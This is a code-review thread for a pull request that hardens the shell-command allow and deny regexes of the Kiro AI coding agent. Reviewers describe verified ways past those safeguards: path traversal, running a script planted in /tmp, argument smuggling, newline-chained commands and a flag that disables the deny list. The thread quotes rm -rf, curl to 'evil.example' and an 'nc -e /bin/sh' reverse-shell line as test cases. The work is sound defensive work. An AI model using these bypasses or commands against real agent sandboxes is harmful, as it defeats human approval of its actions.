fix(kiro): harden the execute_bash permission lists (2.5.17)

[apackeer]

Problem

Kiro wraps every toolsSettings.execute_bash pattern as \A<pat>\z (upstream crates/chat-cli/src/cli/chat/tools/execute/mod.rs:130), so matching is full-string, not prefix. The shipped patterns were written as if they were prefixes, which made them simultaneously too narrow and, in one place, too broad.

This surfaced as a user-visible failure: a conductor in a nested project directory reported the shell command "still being denied despite your approval", because the form it reached for was not on the allowlist and the session had no approval channel.

1. Too narrow: framework-instructed commands were not pre-approved

Each of these needed an interactive approval. A session with no approver (--no-interactive, or an ACP client that ignores session/request_permission) refuses them outright with non-interactive mode (no user to approve) and the workflow stalls:

Command form	Why it appears
bun run .kiro/tools/<tool>.ts	harmless spelling variant
bun ".kiro/tools/<tool>.ts"	quoted path
bun /abs/path/to/project/.kiro/tools/<tool>.ts	absolute-path invocation
cd <dir> && bun .kiro/tools/<tool>.ts	what a conductor reaches for when the session cwd is not the project root
date -u (bare)	instructed by stage prose; date -u .* could never match it

2. Too broad: a traversal bypass

bun \.kiro/tools/.* let the trailing wildcard swallow path traversal. Verified live: bun .kiro/tools/../../outside-tool.ts executed unprompted, so any file on the machine was reachable through the pre-approved prefix.

3. An inert pattern on the Kiro IDE harness

The IDE conductor's KIRO_PROJECT_DIR entry was spelled \${?KIRO_PROJECT_DIR}? (unescaped braces), an invalid regex that upstream silently discards via .filter(Result::is_ok). Proven inert with an isolated probe (control pattern matched; this command form was denied). That form was never actually pre-approved there.

4. Personas narrower than the conductor

The 14 delegated personas carried only bun \.kiro/tools/.* and date -u .*, with no KIRO_PROJECT_DIR, absolute-path, or cd forms, so a delegated persona could be refused mid-stage.

5. deniedCommands under-matched

Also full-string anchored, so rm -rf /.* missed rm -rf ~/x, rm -rf *, and rm -fr <path>, and git push .* missed a bare git push.

Change

All five allow patterns and three deny patterns are now identical across the conductor and all 14 personas, on both harness/kiro/ and harness/kiro-ide/ (30 authored configs + regenerated dist):

bun (run )?["']?\.kiro/tools/[A-Za-z0-9._-]+\.ts["']?( .*)?
bun (run )?["']?\$\{?KIRO_PROJECT_DIR\}?/\.kiro/tools/[A-Za-z0-9._-]+\.ts["']?( .*)?
bun (run )?["']?/[A-Za-z0-9 ._/-]+/\.kiro/tools/[A-Za-z0-9._-]+\.ts["']?( .*)?
cd [^;&|<>$`()]+
date -u( .*)?

The filename class [A-Za-z0-9._-]+\.ts closes the traversal hole: no / in the class means ../ cannot appear. .kiro/tools/ is flat in every dist tree, so no real tool call is lost.

Allowing a bare cd <path> is safe because the installed 2.12.1 evaluates each &&/;/| segment separately. Live-verified: cd /tmp && curl example.com is still refused on the curl segment, as is cd /tmp && rm -f .... (Note this differs from the currently-published upstream source, which does not yet split that way; the behaviour was confirmed against the shipping binary.)

Verification

Semantics were established from the upstream matcher source and then confirmed live against kiro-cli 2.12.1, including a fresh install of the hardened dist/kiro/ where all six framework forms run unprompted and the traversal escape, cd && curl, rm -rf, and bare git push are all refused.

tests/unit/t252-kiro-allowlist-semantics.test.ts (new) asserts this behaviourally: it re-implements Kiro's matcher and runs 12 must-allow and 12 must-gate command strings through all 30 configs. Pinning literal regex text would be worthless here: that is exactly how the inert IDE pattern above shipped dead. Two fidelity details matter:

• The validity check models the Rust regex crate's stricter brace handling, because JS RegExp accepts {? as a literal and would call the broken pattern valid.
• The segment splitter is quote-aware, matching live behaviour where --text "a; b && c" runs fine.

Confirmed the test fails on the pre-change configs (7 of 10 tests red, each naming a real defect) and passes after. tests/smoke/t148 grows a narrow guard so the traversal wildcard cannot silently return.

Test results

bun run check (typecheck + biome) green; bun scripts/package.ts --check reports no drift.

Slice	Result
smoke + unit	178 files, 0 failed, 4398 assertions
integration	103 files, 4 failed, all pre-existing
e2e Kiro (all 11 files)	8 pass, 2 fail (pre-existing), 1 skip (macOS-only)

Zero permission denials across all 11 Kiro e2e logs and all 7 ACP driver traces. If the hardened list were refusing something the framework needs, it would appear there as rejected because it matches one or more rules on the denied list.

Every red was reproduced on pristine v2 with a clean tree before being attributed upstream:

• t66, t89: fail identically on base (t89's error names the claim-sources sensor from 5cdcc63)
• t-acp-kiro-journey-workspace, t-acp-kiro-reviewer: fail on base with the same fs_read path-validation signature
• t-tui-kiro-bugfix-scope: failed once on an [Answer]: A vs [Answer]: Looks correct format variance, reproduced on base, and passed in the full e2e run
• t72, t-journey-workspace: passed green alone; latency under parallel load

Live vars set: AIDLC_KIRO_ACP_LIVE=1, AIDLC_TUI_LIVE=1, AIDLC_KIRO_TUI_LIVE=1, AIDLC_KIRO_IDE_LIVE=1. The IDE gate skipped on platform (macOS-only, skipReason() at t-ide-kiro-checkpoint.serial.test.ts:113-115). The var was set deliberately so the skip could not be a silent unset-gate green. That one still needs verification on a Mac.

Reviewer note

The third pattern accepts any /.../.kiro/tools/*.ts path on the filesystem, not only this project's. It is what makes absolute-path invocations work; it can be dropped in favour of the cd pattern alone if a strictly project-relative sandbox is preferred.

Docs

docs/guide/harnesses/kiro-cli.md gains two operational notes (start the session from the project root; sessions with no approver stall rather than prompt, with the --trust-all-tools / ACP session/request_permission remedies) and its permissions table row is corrected.

[leandrodamascena]

I found two security/compatibility blockers and one test-coverage issue during the review.

1. High: Commands can escape the project boundary

Affected patterns: harness/kiro/agents/aidlc.json:24-25

These patterns are replicated across all Kiro and Kiro IDE personas.

The absolute-path expression includes spaces, so this command matches:

bun /tmp/pwn.ts /safe/project/.kiro/tools/aidlc-version.ts

Bun executes /tmp/pwn.ts; the trusted .kiro/tools path is only a later argument.

Under the segmented-command behavior modeled by this PR, the unrestricted cd fallback also permits:

cd /tmp/attacker && bun .kiro/tools/pwn.ts

Both segments match allowed patterns, allowing a script outside the project to run without approval.

Please remove these fallbacks or bind them to the actual project root. Both commands should be added to MUST_GATE.

2. High: The behavioral test models only one Kiro release

Affected code: tests/unit/t252-kiro-allowlist-semantics.test.ts:99-170

The test implements custom command segmentation but omits Kiro’s current dangerous-token validation. Current upstream rejects tokens such as $ and && before evaluating allowedCommands.

Therefore, the current matcher gates these commands:

bun $KIRO_PROJECT_DIR/.kiro/tools/aidlc-orchestrate.ts next
cd /project && bun .kiro/tools/aidlc-orchestrate.ts next

The test includes both in MUST_ALLOW.

The PR validates Kiro 2.12.1, while the project documents support for Kiro >=2.6. The locally installed version is 2.15.1, and the public matcher implementation disagrees with the test.

Please implement or version a matcher faithful to supported Kiro releases, or avoid command forms whose behavior differs between releases.

3. Medium: Tests do not distinguish Ask from Deny

Affected code: tests/unit/t252-kiro-allowlist-semantics.test.ts:137-153

The evaluator collapses both outcomes into:

type Verdict = "allow" | "gated";

These commands miss the new deny expressions:

rm -r -f /tmp/target
/bin/rm -rf /tmp/target
git -C . push origin main

They produce Ask, not Deny, meaning an interactive user can still approve them. The current tests pass because both outcomes become "gated".

Please model allow | ask | deny separately and verify that destructive variants are denied.

4. Low: User documentation is contradictory

docs/guide/harnesses/kiro-cli.md:86-92 says --no-interactive refuses commands requiring approval.

harness/kiro/onboarding.fills.ts:18 says those commands are automatically approved.

The generated onboarding should be updated to match the guide.

Validation

• t252: 10 tests pass, but do not cover these counterexamples.
• t68: 7 tests pass.
• bun scripts/package.ts --check: passes.
• Targeted regex probes reproduce both project-boundary bypasses.
• PR CI is green but does not cover these cases.

Recommendation: Request changes before merge.

[apackeer]

Reviewed against the shipped configs on the PR head (7e3728ca) and live against kiro-cli 2.12.1, plus a Rust-regex parity check via ripgrep 14.1.0 (same regex crate).

The core of this PR is right and well-evidenced. I independently reproduced every one of the six framework forms running unprompted, the traversal fix, and segment-wise chain evaluation. All 30 shipped configs really do carry byte-identical allow and deny lists (verified by jq over git show pr667-review: for each file: 30/30 identical). Preferring a behavioural test over pinned regex text is the right call, and the reasoning for it is correct.

Two findings are security-relevant and I think block merge. The rest are smaller.

P1 - the absolute-path pattern is arbitrary code execution, not a path relaxation

The reviewer note frames pattern #3 as "any /.../.kiro/tools/*.ts path, not only this project's", presented as a scoping preference. It is stronger than that: it pre-approves running any file an attacker can write, because the path need not be trusted, only shaped. Verified live on 2.12.1 with the shipped list:

$ mkdir -p /tmp/.kiro/tools && cat > /tmp/.kiro/tools/evil.ts   # world-writable dir
$ # ask the agent to run: bun /tmp/.kiro/tools/evil.ts
EVIL_TOOL_EXECUTED
$ cat /tmp/kprobe/PWNED_VIA_WORLD_WRITABLE_DIR
arbitrary code ran unprompted

No prompt. /tmp is world-writable and sticky-bit does not help, so any local user (or any earlier tool write, or a downloaded archive that unpacks a .kiro/tools/ directory) plants code that is then pre-approved. The traversal hole this PR closes is the same class of defect; this pattern reopens it through a different door. The directory class also still permits ..: bun /tmp/../etc/.kiro/tools/x.ts matches.

Worth noting the hardening did work as designed here - the filename class stopped the direct traversal. This is specifically the third pattern's directory class [A-Za-z0-9 ._/-]+ being unanchored to the project.

Since the cd pattern already covers the real out-of-root case (verified: cd /tmp/kprobe && bun .kiro/tools/aidlc-version.ts runs unprompted), my suggestion is to drop pattern #3 - the option you already floated. If absolute paths must stay, anchor them to the project ($KIRO_PROJECT_DIR, which pattern #2 already handles) rather than accepting any filesystem location.

P1 - --trust-all-tools, the remedy the new docs recommend, silently voids the whole deny list

docs/guide/harnesses/kiro-cli.md:89 and :91 tell operators to use --trust-all-tools for unattended runs and ACP spawns. On 2.12.1 that flag bypasses deniedCommands entirely. Clean A/B against the identical shipped config:

A) no flag:            rm -rf /tmp/kprobe/dirA
   -> "rejected because it matches one or more rules on the denied list"
   -> dirA still present
B) --trust-all-tools:  rm -rf /tmp/kprobe/dirB
   -> " - Completed in 0.10s"
   -> ls: "/tmp/kprobe/dirB": No such file or directory     <-- deleted

So this PR strengthens deniedCommands (rm -fr, bare git push, rm -rf ~/x) while the docs in the same commit point operators at a flag that removes all of it, rm -rf / included. That combination reads as defence-in-depth and is not.

This does not invalidate the deny-list work, which is a real improvement for interactive sessions. The docs need to stop presenting the flag as the routine remedy: recommend answering ACP session/request_permission as the primary path, and mark --trust-all-tools explicitly as "disables the deny list too, including rm -rf /; use only in a disposable sandbox." The kiro-cli chat --no-interactive stall diagnosis itself is accurate and useful - I reproduced the exact non-interactive mode (no user to approve) string.

P2 - rustRejects() rejects valid regexes; it passes today by luck

The intent is right and the JS-vs-Rust brace divergence is real. The implementation over-rejects. Measured by lifting the function verbatim and comparing to ripgrep:

pattern	rustRejects()	Rust actually
a{2}	rejects	compiles
a{2,}	rejects	compiles
a{2,4}	rejects	compiles
x}y	rejects	compiles
a{,3}	rejects	rejects (correct)
\${?KIRO_PROJECT_DIR}?	rejects	rejects (correct)

Two bugs: the { branch checks /^\{\d+(,\d*)?\}/ against rest but then falls through to the } branch in the same iteration without skipping past the repetition, so every valid {n} trips the } check at t252-kiro-allowlist-semantics.test.ts:83; and that } branch treats any unescaped } as invalid, which Rust permits as a literal. The "no inert entries" test passes only because no current pattern uses bounded repetition. The first author to write [A-Za-z0-9]{1,64} gets a spurious failure telling them their valid pattern is inert. Either skip i past a matched repetition and drop the bare-} rule, or gate on the narrow real case ({ not followed by a decimal bound).

P2 - the segments() model is more permissive than the binary (newline chains)

Rust's negated classes match newlines (confirmed: rg -U -e 'cd [^;&|<>$()]+'spans a\n), and segments()only splits on;, |, &&`. So the model blesses newline-separated chains:

allow  | "cd /tmp\nrm -rf /home/u/work"
allow  | "cd /tmp\ncurl -s https://evil.example"
allow  | "cd /tmp\nnc -e /bin/sh 10.0.0.1 4444"

Good news, and I want to be clear about it: live 2.12.1 gates all of these, so this is not a live bypass today. It is a fidelity gap in the test's matcher, which is exactly the failure mode this test exists to prevent - the model is more permissive than the binary, so it would certify a genuinely unsafe list as safe. Note the rm -rf case is caught by the deny list but the curl/nc ones are not; nothing else would stop them. Either exclude newline from the cd class ([^;&|<>$()\n]+) or split on newline in segments()`, ideally both.

The same divergence shows up in the argument tail, separately from the separator logic. The quote-aware claim itself checks out: bun .kiro/tools/aidlc-version.ts --text "a; b && c" runs unprompted, as the PR says. But live 2.12.1 gates these, while the PR's model says allow:

bun .kiro/tools/aidlc-version.ts > /tmp/kprobe/out.txt      -> gated live, model says allow
bun .kiro/tools/aidlc-version.ts --stamp $(date -u +%s)     -> gated live, model says allow

Both are benign commands, so this is not a missed exploit - it means the binary applies some metacharacter check on the tail that the model does not, and the model errs permissive in both places. Encoding that check would make the test a tighter guard; at minimum the header comment should stop claiming the model matches live behaviour on the tail.

P3 - version slot 2.5.16 is uncontested, but 2.5.12 traffic is heavy

2.5.16 is currently free (highest claimed among the open PRs I checked is 2.5.15 on #617). No action needed now, just be ready to re-bump per the conflict-trap rule if #617 lands first.

P3 - // covers: file:settings.json is inherited but inaccurate

t252 reads dist/<h>/.kiro/agents/*.json, not settings.json. It matches t148's existing tag so it is defensible as convention, and gen-coverage-registry.ts has no unit id for Kiro agent configs, so there may be no better id available. Flagging only so the coverage registry does not drift further from what the test actually exercises.

P3 - the new deny pattern blocks a command the framework itself suggests

core/tools/aidlc-utility.ts:1979 emits a doctor fix hint: Inspect and remove via 'aidlc-worktree discard --slug <slug>' or 'rm -rf .aidlc/worktrees/bolt-<slug>'. Under rm -rf .* that second form is now hard-denied in interactive sessions, and the deny list beats any allow. The hint offers the aidlc-worktree discard alternative first, so this is cosmetic rather than a broken flow - but an operator who follows the literal suggestion hits a refusal with no explanation. Worth a follow-up on the hint's wording rather than weakening the deny pattern.

Verification I ran

• Live kiro-cli 2.12.1, isolated probe agent carrying the PR's exact shipped lists, with positive controls (date -u, plain bun .kiro/tools/<t>.ts) confirming the probe allows what it should before trusting any refusal.
• All six MUST_ALLOW forms reproduced unprompted: bare, run, quoted, $KIRO_PROJECT_DIR, absolute, cd &&, date -u.
• Rust parity via ripgrep 14.1.0 for brace handling and newline-in-negated-class.
• 30/30 config uniformity via jq over the PR head.

One thing I could not verify: the Kiro IDE gate is macOS-only and skipped here, so the IDE-side KIRO_PROJECT_DIR fix is confirmed only by the corrected regex compiling under Rust, not by a live IDE run. Your PR body already flags this.

[apackeer]

Round 2: both P1s fixed and independently re-verified

Re-reviewed at d64093cb against the shipped configs and live kiro-cli 2.12.1. Both P1s are genuinely closed, and I found four further items which are fixed in the same commit.

P1 (arbitrary code execution) - closed

Allow pattern #3 is gone; the shipped allowlist is now two entries (project-relative bun [run] ["]?.kiro/tools/<file>.ts plus date -u). I re-ran the original exploit against the fixed config:

$ mkdir -p /tmp/.kiro/tools && echo 'console.log("EVIL_EXECUTED")' > /tmp/.kiro/tools/evil.ts
$ # agent runs: bun /tmp/.kiro/tools/evil.ts
Command execute_bash is rejected because it matches one or more rules on the denied list

Previously that printed EVIL_EXECUTED and wrote its marker file. The framework path still works in the same session (bun .kiro/tools/aidlc-version.ts ran unprompted), so this is a real narrowing rather than a blanket refusal. The argument-smuggling case added to MUST_ASK (bun /tmp/pwn.ts /safe/project/.kiro/tools/x.ts) is a variant I had not raised and is a good catch.

P1 (docs recommending a flag that voids the deny list) - closed

--trust-all-tools is now labelled as bypassing both lists including the recursive-rm and git push denials, sandbox-only, with ACP session/request_permission as the primary unattended path.

The new deny patterns are stronger than what I proposed

All 12 MUST_DENY cases deny under the real Rust regex crate (checked via ripgrep 14.1.0, same crate), and I confirmed two live: rm -r -f <dir> and /bin/rm -rf <dir> were both refused with the victim directories intact. Splitting the verdict into ask vs deny is a genuine improvement, since the old model could not distinguish "needs approval" from "unconditionally refused".

rustRejects() is also correct now: a{2}, a{2,}, a{2,4}, and x}y compile, while a{,3} and the real \${?KIRO_PROJECT_DIR}? still reject.

Four things fixed on top

1. Version slot (correcting my own round 1). I said 2.5.16 was uncontested. It is not: #616 claims it with an identical ## [2.5.16] - 2026-07-28 heading. Re-bumped to 2.5.17 per the CHANGELOG conflict-trap rule (version file, README badge, heading). t252's own slot is clear; only t250 is claimed among t25x, by #616.

2. The test's permission model refused chains the binary actually runs. evaluate() returned ask for any command containing a separator or metacharacter, before consulting the allowlist. That is wrong in both directions.

Live 2.12.1 runs a chain whose every segment is allowlisted:

$ # agent runs: bun .kiro/tools/aidlc-version.ts && date -u
REAL_TOOL_OK
Wed Jul 29 00:51:08 UTC 2026        <- unprompted, both segments granted

And because the refusal was unconditional, six MUST_ASK entries were passing without exercising a shipped pattern at all: they would stay green against an allowlist of .*. That is exactly the vacuous-assertion failure mode this test exists to prevent. I demonstrated the risk by adding a hypothetical curl( .*)? allow entry: live ran bun .kiro/tools/<t>.ts && curl ... https://example.com unprompted (HTTP 200) while the model would still have reported ask.

evaluate() now splits on &&/;/|/&/newline (quote-aware; newline included because Rust's negated classes match \n) and requires every segment to be allowed. Added MUST_ALLOW_CHAINS for the live-verified case, newline and background-operator entries to MUST_ASK, and a meta-test that fails if any MUST_ASK entry passes under a wide-open allowlist.

Verified the guard actually bites by mutation: re-adding the removed absolute-path pattern to a dist config turns t252 red on the smuggling case.

3. TAIL_METACHARACTERS narrowed to $(, backtick, <, >. A bare $ was over-broad: under a config that allowlisted the $KIRO_PROJECT_DIR form, bun $KIRO_PROJECT_DIR/.kiro/tools/<t>.ts ran unprompted live, so expansion alone does not gate. Those forms are gated today because no shipped pattern matches them, which belongs under pattern matching. Redirection and $(...) genuinely are gated by a separate mechanism and stay listed.

4. Rationale wording. The comment, doc note, and CHANGELOG said absolute paths stay gated because a regex "cannot prove those forms still target this project across supported Kiro releases". The real reason is that a pattern checks a path's shape, not its trustworthiness: a grant for any /.../.kiro/tools/*.ts also pre-approves a script planted in a world-writable directory. That is the verified finding and what a future author needs to know before re-adding such a grant. Also rewrote the stale 2.5.16 summary paragraph, which still described the superseded wider-allowlist approach.

Verification

Removing three allow patterns invalidated the original body's "zero permission denials" evidence, since that was measured against the wider list. Re-ran the live Kiro slices:

Slice	Files	Failed	Permission denials
Kiro ACP (AIDLC_KIRO_ACP_LIVE=1)	7	2	0 across all 7 ndjson traces
Kiro TUI (AIDLC_TUI_LIVE=1 AIDLC_KIRO_TUI_LIVE=1)	3	2	0
Integration (Claude SDK)	103	3	0 across 24 traces
Deterministic e2e (--filter "^t[0-9]")	31	2	0

Every red reproduced on pristine origin/v2 with zero denials, so none is caused by the narrowing:

• t-acp-kiro-journey-workspace, t-acp-kiro-reviewer: same fs_read path-validation toolCallIssues orphan signature on base; the e2e files are byte-identical between v2 and this branch.
• t-tui-kiro-bugfix-scope: identical toMatch failure at the same line 174 on base.
• t-tui-kiro-intent-capture: fails on base too. On this branch it stalls at an unrecognized intent-capture prompt while the framework tool call itself succeeded ({"emitted":"DECISION_RECORDED"}), so it is prompt-format variance, not permissions.
• t66, t89: named as upstream in the original body. t113 (deterministic e2e) reproduced failing on pristine origin/v2 at the same line 108 (aidlc-state approve exit status).
• t72 and t138 both pass green alone, so they are parallel-load latency flakes rather than reds. t138 did not assert-fail at all; it hit the 2400000ms (40 min) test ceiling. Neither touches this change surface: the only aidlc-utility.ts edit here is one string inside handleDoctor, and t138 greps clean for kiro, execute_bash, and doctor.

bun run check green, bun scripts/package.ts --check reports no drift, smoke + unit 179 files / 0 failed / 4412 assertions with t68 green on the bump.

Still open, none blocking: minor deny gaps (rm --recursive=yes, rmdir, find -delete, all ask rather than allowed), and t252's // covers: file:settings.json tag is inherited from t148 but does not describe what the test reads. The Kiro IDE side remains verified only by the corrected regex compiling under Rust, not by a live IDE run, since that gate is macOS-only.

[leandrodamascena]

The previous allowlist blocker has been addressed. Absolute paths, KIRO_PROJECT_DIR, and cd chains are no longer preapproved, and the new behavioral coverage verifies the trusted-path argument-smuggling case.

I reviewed head d64093cb. CI is green, bun run check passes, package parity is clean, and the focused allowlist tests pass.

The broad date arguments, multiline command handling, and stale PR description are worthwhile follow-ups, but they are not regressions or merge blockers.

Approved.